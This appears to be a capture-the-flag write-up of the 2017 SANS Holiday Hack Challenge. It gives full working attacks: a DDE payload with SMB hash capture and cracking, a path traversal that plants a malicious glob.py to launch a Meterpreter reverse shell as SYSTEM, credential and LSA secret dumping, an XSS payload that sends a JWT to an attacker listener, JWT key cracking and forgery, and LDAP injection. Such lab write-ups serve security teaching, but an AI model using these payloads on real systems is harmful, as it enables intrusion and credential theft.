msf exploit(handler) > use auxiliary/server/capture/smb msf auxiliary(smb) > info Name: Authentication Capture: SMB Module: auxiliary/server/capture/smb License: Metasploit Framework License (BSD) Rank: Normal Provided by: hdm <x@hdm.io> Available actions: Name Description ---- ----------- Sniffer Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- CAINPWFILE no The local filename to store the hashes in Cain&Abel format CHALLENGE 1122334455667788 yes The 8 byte server challenge JOHNPWFILE no The prefix to the local filename to store the hashes in John format SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 445 yes The local port to listen on. Description: This module provides a SMB service that can be used to capture the challenge-response password hashes of SMB client systems. Responses sent by this service have by default the configurable challenge string (\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy cracking using Cain & Abel, L0phtcrack or John the ripper (with jumbo patch). To exploit this, the target system must try to authenticate to this module. One way to force an SMB authentication attempt is by embedding a UNC path (\\SERVER\SHARE) into a web page or email message. When the victim views the web page or email, their system will automatically connect to the server specified in the UNC share (the IP address of the system running this module) and attempt to authenticate. Another option is using auxiliary/spoof/{nbns,llmnr} to respond to queries for names the victim is already looking for. msf auxiliary(smb) > set SRVPORT 3445 SRVPORT => 3445 msf auxiliary(smb) > set JOHNPWFILE alabaster_snowball.john JOHNPWFILE => alabaster_snowball.john msf auxiliary(smb) > run [*] Auxiliary module running as background job 3.
Now, we'll send the following command via e-mail:
DDEAUTO c:\\windows\\system32\\cmd.exe "/k dir \\\\1.2.3.4\\a"
And sure enough, we get the following hashes:
[*] SMB Captured - 2018-12-20 17:08:24 +0000 NTLMv2 Response Captured from 35.185.57.190:49759 - 35.185.57.190 USER:alabaster_snowball DOMAIN:HHC17-SMB-SERVE OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:314d4bd798cac0c5fa2bb107ba248cc6 NT_CLIENT_CHALLENGE:0101000000000000d1b912a0358ad30143592f0cabfa891000000000020000000000000000000000 [*] SMB Captured - 2018-12-20 17:08:24 +0000 NTLMv2 Response Captured from 35.185.57.190:49759 - 35.185.57.190 USER:alabaster_snowball DOMAIN:HHC17-SMB-SERVE OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:aaa7328ccd721a5e96bfb188eb4ecbdd NT_CLIENT_CHALLENGE:010100000000000001431ca0358ad301c89b21fb5e4c160d00000000020000000000000000000000 [*] SMB Captured - 2018-12-20 17:08:24 +0000 NTLMv2 Response Captured from 35.185.57.190:49759 - 35.185.57.190 USER:alabaster_snowball DOMAIN:HHC17-SMB-SERVE OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:71570491da3f413ce830788429820789 NT_CLIENT_CHALLENGE:010100000000000024042ba0358ad301a28a0bc07ea8214300000000020000000000000000000000
We now have the following file:
alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:3d0a58908a34215103b43a000b5807ab:0101000000000000f0a52fe4358ad3018486290b6477913300000000020000000000000000000000 alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:5c63d79712f174de38ee30de2136b53e:0101000000000000e4e554e4358ad301fee549fa52c9b5ef00000000020000000000000000000000 alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:de4559d983096a0a895484a61834283f:0101000000000000fb6a68e4358ad301645b79e4a5ed58c300000000020000000000000000000000
We'll use hashcat
to crack this:
hashcat64.bin -m 5600 -a 0 alabaster_snowball.john.netntlmv2 wordlist.txt -O -w 4 ... alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:3d0a58908a3...:Carried_mass_it_reader1 alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:5c63d79712f...:Carried_mass_it_reader1 alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:de4559d9830...:Carried_mass_it_reader1 Session..........: hashcat Status...........: Cracked Hash.Type........: NetNTLMv2 ...
Armed with a password, we can remote desktop:
Figure 28: Logging in to EMI as Alabaster via RDP
Woot! We're hand-waving some of this for now, as there will be a longer discussion about how we cracked passwords.
Next up – Privilege Escalation!
Unfortunately, our commands only run as Alabaster, who is just a regular user on the EMI system. We can do better than that.
Once we got command execution on this system, we started looking to see what was running. It was obvious that Office was not installed, and we started to question whether Alabaster even used this system, or if it was all a big charade.
We found that the system was running a service, called
WindowsGrabber
which would download new e-mails, try to parse out
their DDE payloads, and execute them. It did this via C:\Program Files\WindowsGrabber\alabaster_snowball.py
. That file also had credentials for the EWA system:
srverAddress = '10.142.0.5' #srverAddress = '35.185.115.185' user = 'alabaster.snowball@northpolechristmastown.com' passw = 'power instrument gasoline film'
(As an aside, this code snippet also confirmed our theory about the systems moving from the public IPs we found during the Recon stage, to private ones).
This service was running as the alabaster_snowball user that we could already run commands as, so it wasn't a target for privilege elevation.
…and then, on December 23rd, all of that changed. The setup was
changed, so now two services were running: WindowsGrabber
was now
running as LocalSystem
, a very privileged account on Windows, and
agrabber
was running as Alabaster. The Python script was no longer
readable by Alabaster, but it was modified so that instead of directly
running the commands, it would write them to a file, and then the
lesser-privileged agrabber
service would run them from that file.
Unfortunately, there was a vulnerability in
alabaster_snowball.py
. It turns out that there are two ways to send
the file to Alabaster: we can either attach it via the EWA webmail
interface, which uploads a copy to mail.northpolechristmastown.com
and inserts a link in the e-mail, OR we can simply attach it to the
e-mail. In the case of the latter, the script does the following:
def save_attachment(self, msg): """ Given a message, save its attachments to the specified download folder (default is /tmp) return: file path to attachment """ download_folder = tempfile.mkdtemp() att_path = False for part in msg.walk(): if part.get_content_maintype() == 'multipart': continue if part.get('Content-Disposition') is None: continue filename = part.get_filename() att_path = os.path.join(download_folder, filename) if not os.path.isfile(att_path): fp = open(att_path, 'wb') fp.write(part.get_payload(decode=True)) fp.close() return att_path
The issue here is the line:
att_path = os.path.join(download_folder, filename)
The filename is controlled by us, as it comes from the e-mail message
itself. By prefixing our filename with ../../../..
we can write
anywhere on the system, as the LocalSystem account.
With unrestricted write access, how can we turn that into code execution? We could a number of techniques, such as DLL hijacking, but many are made more difficult by the fact that we can't read files with our privileged access, only write to them.
Once again, we turned to Python. We targetted the
alabaster_snowball.py
script itself, with Python module
injection. An import command such as:
import glob
will cause Python to search for glob.py
in the current directory,
and then in some system-wide directories. If we can write a malicious
C:\Program Files\WindowsGrabber\glob.py
, the next time the service restarts, our code will run as LocalSystem.
These files can break the alabaster_snowball.py
script. Because they're being written as privileged, the regular Alabaster account cannot modify or delete them. Take great care in what you send!
Our file ends up looking like this:
import sys, imp, os def get_mod(modname): fd, path, desc = imp.find_module(modname, sys.path[::-1]) return imp.load_module("orig_" + modname, fd, path, desc) locals().update(vars(get_mod(__name__))) try: if not os.path.isfile("C:/Windows/Temp/have_run"): os.system('nssm install zGrabber C:\\Users\\ALABAS~1\\AppData\\Local\\Temp\\2\\4445.exe') open("C:/Windows/Temp/have_run", 'a').close() os.system('nssm start zGrabber') except: print("Could not run")
The top half loads the actual glob module, and makes it available to anything that imported our malicious glob module. The bottom half creates a new service, which will run a file that we uploaded, 4445.exe. This service uses the Non-Sucking Service Manager (nssm) that manages the other Grabber services, and will be installed as a LocalSystem service as well. Finally, we start our service, and ignore any exceptions in case we made a mistake.
Getting this file right was a little nerve-wracking, and required a great deal of testing. The vulnerability we found will only allow you to write new files, and because the files are written as the LocalSystem account, there was no way to modify or delete them once written if this did not work.
Now, we craft an e-mail, which has our base64-encoded glob.py as an attachment, and we give the attachment a filename that will put it in the right place:
HELO l2s MAIL FROM:<wunorse.openslae@northpolechristmastown.com> RCPT TO:<alabaster.snowball@northpolechristmastown.com> DATA MIME-Version: 1.0 Subject: Test E-mail From: wunorse.openslae@northpolechristmastown.com To: alabaster.snowball@northpolechristmastown.com Content-Type: multipart/mixed; boundary="089e082f74245acc5b05624d7433" --089e082f74245acc5b05624d7433 Content-Type: multipart/alternative; boundary="089e082f74245acc5605624d7431" --089e082f74245acc5605624d7431 Content-Type: text/plain; charset="UTF-8" gingerbread cookie recipe --089e082f74245acc5b05624d7433 Content-Type: text/x-python-script; charset="US-ASCII"; name="glob.py" Content-Disposition: attachment; filename="../../../../../../../../../../../../Program Files/WindowsGrabber/glob.py" Content-Transfer-Encoding: base64 X-Attachment-Id: f_jc6xkfum1 aW1wb3J0IHN5cywgaW1wLCBvcwpkZWYgZ2V0X21vZChtb2RuYW1lKToKICAgIGZkLCBwYXRoLCBk ZXNjID0gaW1wLmZpbmRfbW9kdWxlKG1vZG5hbWUsIHN5cy5wYXRoWzo6LTFdKQogICAgcmV0dXJu IGltcC5sb2FkX21vZHVsZSgib3JpZ18iICsgbW9kbmFtZSwgZmQsIHBhdGgsIGRlc2MpCgpsb2Nh bHMoKS51cGRhdGUodmFycyhnZXRfbW9kKF9fbmFtZV9fKSkpCgp0cnk6CiAgICBpZiBub3Qgb3Mu cGF0aC5pc2ZpbGUoIkM6L1dpbmRvd3MvVGVtcC9oYXZlX3J1biIpOgogICAgICAgIG9zLnN5c3Rl bSgnbnNzbSBpbnN0YWxsIHpHcmFiYmVyIEM6XFxVc2Vyc1xcQUxBQkFTfjFcXEFwcERhdGFcXExv Y2FsXFxUZW1wXFwyXFw0NDQ1LmV4ZScpCiAgICAgICAgb3BlbigiQzovV2luZG93cy9UZW1wL2hh dmVfcnVuIiwgJ2EnKS5jbG9zZSgpCiAgICBvcy5zeXN0ZW0oJ25zc20gc3RhcnQgekdyYWJiZXIn KQpleGNlcHQ6CiAgICBwcmludCgiQ291bGQgbm90IHJ1biIpCg== --089e082f74245acc5b05624d7433-- .
Now we just send that over netcat
, and wait:
$ nc mail.northpolechristmastown.com 25 220 mail.northpolechristmastown.com ESMTP Postfix HELO l2s 250 mail.northpolechristmastown.com MAIL FROM:<wunorse.openslae@northpolechristmastown.com> 250 2.1.0 Ok RCPT TO:<alabaster.snowball@northpolechristmastown.com> 550 5.7.1 <alabaster.snowball@northpolechristmastown.com>: Recipient address rejected: Message rejected due to: SPF fail - not authorized. Please see http://www.openspf.net/Why?s=mfrom;id=wunorse.openslae@northpolechristmastown.com;ip=10.142.0.3;r=alabaster.snowball@northpolechristmastown.com
Foiled! If we dig a little deeper however, and we use our nmap
scan results, we'll find that there's another SMTP service listening on port 2525 which will allow us to send our e-mail:
220 mail.northpolechristmastown.com ESMTP Postfix HELO l2s 250 mail.northpolechristmastown.com MAIL FROM:<wunorse.openslae@northpolechristmastown.com> 250 2.1.0 Ok RCPT TO:<alabaster.snowball@northpolechristmastown.com> 250 2.1.5 Ok DATA 354 End data with <CR><LF>.<CR><LF> MIME-Version: 1.0 Subject: Test E-mail ... --089e082f74245acc5b05624d7433-- . 250 2.0.0 Ok: queued as 1755CC35D2
If we do a directory listing, we see that our plan worked:
Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 7670 fil 2017-12-23 04:28:42 +0000 alabaster_snowball.py 100666/rw-rw-rw- 257 fil 2017-12-23 05:17:52 +0000 execute.ps1 100666/rw-rw-rw- 0 fil 2018-01-09 01:25:40 +0000 file.txt 100666/rw-rw-rw- 228 fil 2018-01-09 01:25:36 +0000 glob.py
Now we just need to launch Metasploit and wait for the service to restart…
$ msfconsole -r windows-meterpreter-stageless-reverse-tcp-4445-exe.rc .~+P``````-o+:. -o+:. .+oooyysyyssyyssyddh++os-````` ``````````````` ` +++++++++++++++++++++++sydhyoyso/:.````...`...-///::+ohhyosyyosyy/+om++:ooo///o ++++///////~~~~///////++++++++++++++++ooyysoyysosso+++++++++++++++++++///oossosy --.` .-.-...-////+++++++++++++++////////~~//////++++++++++++/// `...............` `...-/////...` .::::::::::-. .::::::- .hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo :Nm-/NMMMMMMMMMMMMM$$NMMMMm&&MMMMMMMMMMMMMMy .sm/`-yMMMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMh` -Nd` :MMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMh` -Nh` .yMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMm/ `oo/``-hd: `` .sNd :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMm/ .yNmMMh//+syysso-`````` -mh` :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMd .shMMMMN//dmNMMMMMMMMMMMMs` `:```-o++++oooo+:/ooooo+:+o+++oooo++/ `///omh//dMMMMMMMMMMMMMMMN/:::::/+ooso--/ydh//+s+/ossssso:--syN///os: /MMMMMMMMMMMMMMMMMMd. `/++-.-yy/...osydh/-+oo:-`o//...oyodh+ -hMMmssddd+:dMMmNMMh. `.-=mmk.//^^^\\.^^`:++:^^o://^^^\\`:: .sMMmo. -dMd--:mN/` ||--X--|| ||--X--|| ........../yddy/:...+hmo-...hdd:............\\=v=//............\\=v=//......... ================================================================================ =====================+--------------------------------+========================= =====================| Session one died of dysentery. |========================= =====================+--------------------------------+========================= ================================================================================ Press ENTER to size up the situation %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Press SPACE BAR to continue =[ metasploit v4.16.14-dev-140955f ] + -- --=[ 1698 exploits - 969 auxiliary - 299 post ] + -- --=[ 500 payloads - 40 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] [*] Processing msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc for ERB directives. resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> use exploit/multi/handler resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> set PAYLOAD windows/meterpreter_reverse_tcp PAYLOAD => windows/meterpreter_reverse_tcp resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> set LHOST 1.2.3.4 LHOST => 1.2.3.4 resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> set LPORT 4445 LPORT => 4445 resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> set ExitOnSession false ExitOnSession => false resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> run -j [*] Exploit running as background job 0. Meterpreter session 1 opened (1.2.3.4:4445 -> 35.185.57.190:49672) at 2018-01-09 05:08:43 +0000 msf exploit(handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ HHC17-SMB-SERVE 1.2.3.4:4445 -> 35.185.57.190:49756 (10.142.0.8)
And now, we've managed to elevate our credentials. There are a few "post-exploitation" modules for Meterpreter, which will use our session. For instance, let's dump the hashes on the system:
msf exploit(handler) > set -g SESSION 1 SESSION => 1 msf exploit(handler) > use post/windows/gather/credentials/credential_collector msf post(credential_collector) > run [*] Running module against HHC17-SMB-SERVE [+] Collecting hashes... Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 Extracted: alabaster_snowball:aad3b435b51404eeaad3b435b51404ee:10e2fa00c44d10ca05d399f47ed13351 Extracted: DefaultAccount:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 Extracted: sysadmin:aad3b435b51404eeaad3b435b51404ee:27309e9a73764938860b4a1ed7c0392b [+] Collecting tokens... HHC17-SMB-SERVE\alabaster_snowball IIS APPPOOL\DefaultAppPool NT AUTHORITY\IUSR NT AUTHORITY\LOCAL SERVICE NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\SYSTEM Window Manager\DWM-1 NT AUTHORITY\ANONYMOUS LOGON [*] Post module execution completed
We could try to crack some hashes, but there's an easier way. Let's check the LSA secrets:
msf post(credential_collector) > use post/windows/gather/lsa_secrets msf post(lsa_secrets) > info Name: Windows Enumerate LSA Secrets Module: post/windows/gather/lsa_secrets Platform: Windows Arch: Rank: Normal Provided by: Rob Bathurst <rob.bathurst@foundstone.com> Compatible session types: Meterpreter Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- SESSION 1 yes The session to run this module on. Description: This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is: HKEY_LOCAL_MACHINE\Security\Policy\Secrets\. Thanks goes to Maurizio Agazzini and Mubix for decrypt code from cachedump. msf post(lsa_secrets) > run [*] Executing module against HHC17-SMB-SERVE [*] Obtaining boot key... [*] Obtaining Lsa key... [*] Vista or above system [+] Key: DPAPI_SYSTEM Decrypted Value: ,2#B@:o~NY*#(1]`Vx [+] Key: NL$KM Decrypted Value: @.tUb#=VQc_Y%&P1`gG;g1p0I)me& }Z/zXP` [+] Key: _SC_agrabber Username: .\alabaster_snowball Decrypted Value: .Carried_mass_it_reader1 [*] Writing to loot... [*] Data saved in: /home/holiday/.msf4/loot/20180109050031_default_10.142.0.8_registry.lsa.sec_967944.txt [*] Post module execution completed
We can verify this with our hash, or via RDP: alabaster's password is
Carried_mass_it_reader1
, which matches what we got before.
At this point, the system is pretty well compromised. We were unable to crack the sysadmin user's hash, or pivot from this system to other systems using our privileged access.
We did, however, find some neat things in the Firefox browsing history of the sysadmin user:
'https://www.python.org/downloads/release/python-362/' 'https://www.google.com/search?q=non+sucky+servaice+manager&ie=utf-8&oe=utf-8&client=firefox-b-1-ab' 'https://nssm.cc/release/nssm-2.24.zip' 'http://localhost/' 'https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx' 'http://localhost/test.aspx' 'https://stackoverflow.com/questions/4388066/the-page-you-are-requesting-cannot-be-served-because-of-the-extension-configura' 'https://www.google.com/search?q=how+to+use+aspnet_regiis&ie=utf-8&oe=utf-8&client=firefox-b-1-ab' 'https://www.google.com/search?q=aspnet_regiis+%3A+The+term+%27aspnet_regiis%27+is+not+recognized+as+the+name+of+a+cmdlet&ie=utf-8&oe=utf-8&client=firefox-b-1-ab' 'http://exescan.net/exes/a/aspnet_regiis-exe-file' 'https://www.google.com/search?q=how+to+configure+asp+to+run+on+iis&ie=utf-8&oe=utf-8&client=firefox-b-1-ab' 'https://docs.microsoft.com/en-us/iis/application-frameworks/scenario-build-an-aspnet-website-on-iis/configuring-step-1-install-iis-and-asp-net-modules' 'https://www.google.com/search?q=enable+asp+on+windows+2016&ie=utf-8&oe=utf-8&client=firefox-b-1-ab' 'https://docs.microsoft.com/en-us/biztalk/core/how-to-enable-asp-net-4-0-for-published-web-services' 'https://az764295.vo.msecnd.net/stable/dcee2202709a4f223185514b9275aa4229841aa7/VSCodeSetup-x64-1.18.0.exe' 'http://127.0.0.1/' 'http://127.0.0.1/evil.aspx' 'http://localhost/cmd.aspx' 'http://localhost/jerry.aspx' 'http://localhost/ok.txt'
EDB: eLfDAP Injection
Question
Fetch the letter to Santa from the North Pole Elf Database at http://edb.northpolechristmastown.com/. Who wrote the letter?
For hints on solving this challenge, please locate Wunorse Openslae in the North Pole and Beyond.
Background Information
We can pull up the website in a web browser, and we see a login page.
Figure 29: Elf Database Login
We can try some of the passwords we've already recovered, without success. However, at the bottom of the page, there's a support link, which pops up this form:
Figure 30: Elf Database Login Support
Wunorse Openslae provides us the following:
Many people don't know this, but most of us elves have multiple jobs here in the North Pole. In addition to working in Santa's workshop, I also work as a help desk support associate for the North Pole Elf Database site. I answer password reset requests, mostly from other elves.
One time, I got a weird email with a JavaScript alert and my account got hacked. Fortunately, Alabaster was able to add some filtering on the system to prevent that from happening again. I sure hope he tested his changes against the common evasion techniques discussed on the XSS filter evasion cheat sheet.
It's never a good idea to come up with your own encryption scheme with cookies. Alabaster told me he uses JWT tokens because they are super secure as long as you use a long and complex key. Otherwise, they could be cracked and recreated using any old framework like pyjwt to forge a key.
The interface we use lets us query our directory database with all the employee information. Per Santa's request, Alabaster restricted the search results to just the elves and reindeer. Hopefully, he secured that too. I found an article recently talking about injection against similar databases.
This blog post is explicitly called out:
Understanding and Exploiting Web-based LDAP https://pen-testing.sans.org/blog/2017/11/27/understanding-and-exploiting-web-based-ldap
Goal
The hints lay out a pretty clear path: we can use XSS to send a malicious request to one of the elves or reindeer, and then steal their JWT credential and access the directory.
Approach
- Cross-Site Scripting
We begin by focusing on the support form. XSS was heavily hinted at, so let's try a simple payload:
Figure 31: Simple XSS Test
Then we see this pop up:
Figure 32: Busted on XSS
Busted! Poking around in the source code a bit, we find this snippet in http://edb.northpolechristmastown.com/js/custom.js:
if (help_message.match(/[sS][cC][rR][iI][pP][tT]/g) == null) { $.post( "/service", { uid: help_uid, email: help_email, message: help_message }).done(function( result ) { Materialize.toast('Submitting... Please Wait.', 4000); if (result.bool) { Materialize.toast(result.message, 4000); setTimeout(function(){ window.location.href = result.link; }, 1000); } else { Materialize.toast(result.message, 4000); } }).fail(function(error) { Materialize.toast('Error: '+error.status + " " + error.statusText, 4000); }) } else { Materialize.toast('Alert, Hacker!', 4000);
Reviewing the OWASP Cheat Sheet mentioned in the blog post, we can find several options that don't need a
<script>
tag. For example:<IMG SRC=/ onerror="document.location='http://sans.edu'"></IMG>
Upon submitting the form, we can view our support request:
Figure 33: Our Support Request with a Broken Image
Once the image doesn't load, we're redirected to the SANS site. Great!
First, we tried to steal the cookie, but in reviewing the code at http://edb.northpolechristmastown.com/, we noticed that we needed to steal the token out of local storage:
token = localStorage.getItem("np-auth");
A classic XSS attack is to leak the token to a server we control. We'll modify our malicious image to:
<IMG SRC=/ onerror="document.location='http://10.142.0.11:4444/?cookie='+localStorage.getItem('np-auth');"> </IMG>
We'll start a
netcat
listener on the l2s system:$ nc -v -l -p 4444
Next, we'll submit the support form with our malicious message:
http -v --form --proxy=http:socks5://@localhost:32080 POST http://edb.northpolechristmastown.com/service \ uid=alabaster.snowball \ email=alabaster.snowball@northpolechristmastown.com \ message="<IMG SRC=/ onerror=\"document.location='http://10.142.0.11:4444/?cookie='+localStorage.getItem('np-auth');\"></img>"
A few seconds later, back on l2s:
GET /?cookie=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://127.0.0.1/reset_request?ticket=L78G1-F4X9X-T4FIR-9C4R4 User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* Host: 10.142.0.11:4444
- JWT Token
With the success of the XSS attack, we now know the token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I
Great! Now we just need to modify our local storage, similar to how we added our cookie for EWA, and refresh the page! …and nothing happens. If we look at the Network tab of the Developer Tools, we'll see that there was a request to
/login
, but it returned false:Figure 34: Elf Database Login Failed
Alabaster told me he uses JWT tokens because they are super secure as long as you use a long and complex key. Otherwise, they could be cracked and recreated using any old framework like pyjwt to forge a key.
That seems relevant. Let's check out
pyjwt
:>>> import jwt >>> token=open("jwt").read().strip() >>> jwt.decode(token, verify=False) {'dept': 'Engineering', 'ou': 'elf', 'expires': '2017-08-16 12:00:47.248093+00:00', 'uid': 'alabaster.snowball'}
Unfortunately the token had expired 4 months ago, and could no longer be used to create a new session. The hint mentions that the key needs to be secure – but what if it's not? Let's try cracking it. A bit of Googling later, we end up at
jwt2john.py
. This can convert the raw token into a format that John the Ripper can understand, and then it can try to crack it.Our Makefile shows the process for cracking the key:
jwt.john: ../tools/jwt2john.py jwt python3 ../tools/jwt2john.py $(shell cat jwt) > jwt.john john.txt: jwt.john john --format=HMAC-SHA256 jwt.john john --format=HMAC-SHA256 jwt.john -show > john.txt
To run it, we just run
make john.txt
:python3 ../tools/jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I > jwt.john john --format=HMAC-SHA256 jwt.john Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 32/64 OpenSSL]) Press 'q' or Ctrl-C to abort, almost any other key for status 3lv3s (?) 1g 0:00:06:22 DONE 3/3 (2018-01-10 10:45) 0.002613g/s 835027p/s 835027c/s 835027C/s 3lv3s Use the "--show" option to display all of the cracked passwords reliably Session completed john --format=HMAC-SHA256 jwt.john -show > john.txt $ cat john.txt ?:3lv3s
Cracking the JWT token took 6 minutes and found that the secret key was 3lv3s. Now we can use
pyjwt
again to create a spoofed token:import sys import jwt SECRET_KEY='3lv3s' user = sys.argv[1] dept = sys.argv[2] ou = sys.argv[3] data = { 'dept': dept, 'ou': ou, 'uid': user, 'expires': '2018-08-16 12:00:47.248093+00:00', } token = jwt.encode(data, key=SECRET_KEY) print(token.decode('utf-8'))
Plugging in the values from our expired cookie, we get:
$ ./make_jwt.py alabaster.snowball Engineering elf eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCIsImV4cGlyZXMiOiIyMDE4LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCJ9.iVg7UqgyCSw688qBLv-n7nD5a1sc9bcMnmTkJKEgIGw
We can plug this into our Local Storage, using the Firefox Developer Tools:
Figure 35: Updating our Local Storage
Refresh, and…
Figure 36: EDB Personnel Search
Poking around a little bit, we see that there's a "Santa Panel." Unfortunately, Alabaster's not authorized for that:
Figure 37: EDB Personnel Search
- LDAP Injection
We managed to login to the system, but now let's see what LDAP injection we can do, as we follow the SANS blog post. First, let's see what a standard search looks like, using the Network tab of the Firefox Developer Tools:
Figure 38: EDB Search for Elves
Why, this looks pretty similar to what the blog post has. Poking around in the source code a little bit, we can see that when we login to the system, and load
/home
, we get the following snippet in the response://Note: remember to remove comments about backend query before going into north pole production network /* isElf = 'elf' if request.form['isElf'] != 'True': isElf = 'reindeer' attribute_list = [x.encode('UTF8') for x in request.form['attributes'].split(',')] result = ldap_query('(|(&(gn=*'+request.form['name']+'*)(ou='+isElf+'))(&(sn=*'+request.form['name']+'*)(ou='+isElf+')))', attribute_list) #request.form is the dictionary containing post params sent by client-side #We only want to allow query elf/reindeer data */
The LDAP query is a bit hard to parse, so let's take a closer look:
( | # OR-ed clauses ( & # AND-ed clauses ( gn=*' + request.form['name'] + '* ) ( ou='+isElf+' ) ) # What the first query looks for is the name matching any part of the gn field, AND the ou field matching isElf. ( & (sn=*'+request.form['name']+'*) (ou='+isElf+') ) # The second query is very similar, but matches the name against sn instead of gn. )
Some LDAP pseudocode might be:
( ( gn=*$name* ) && (ou=$isElf) ) || ( (sn=*$name*) && (ou=$isElf) )
Since we're providing the name field, and it's not being validated, this is a prime target for LDAP injection. We'll try rewriting this as:
( gn=* ) || ( ( cn=* ) || (ou=$isElf) ) || ( (sn=*$name*) && (ou=$isElf) )
Converting this back into an actual LDAP query, our first subquery would be:
( & ( gn=* ) ) ( | ( cn='* ) ( ou='+isElf+' ) )
To get our query formatted that way, our name would be:
))(|(cn=
Figure 39: EDB Injection PoC
That worked. We got a list with elves, reindeers – even administrators! Now that we have some information on Santa, let's change our cookie to his, and access the Santa Panel:
./make_jwt.py santa.claus administrators human eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkZXB0IjoiYWRtaW5pc3RyYXRvcnMiLCJvdSI6Imh1bWFuIiwidWlkIjoic2FudGEuY2xhdXMiLCJleHBpcmVzIjoiMjAxOC0wOC0xNiAxMjowMDo0Ny4yNDgwOTMrMDA6MDAifQ.JQ16hqPVuXmJDqA5PgZ4jMwn9RRQAuPuJhNsXfC5ZYk
Figure 40: EDB Santa Panel
Nope. Somehow, we'll need to get passwords from LDAP first. At this point, we've managed to query all the entries in LDAP, but the web app restricts which fields we can see. The SANS blog post also discusses modifying parameters to view extra, or different fields. Let's try:
Figure 41: EDB Return All Attributes
Figure 42: EDB All Rudolph's Attributes
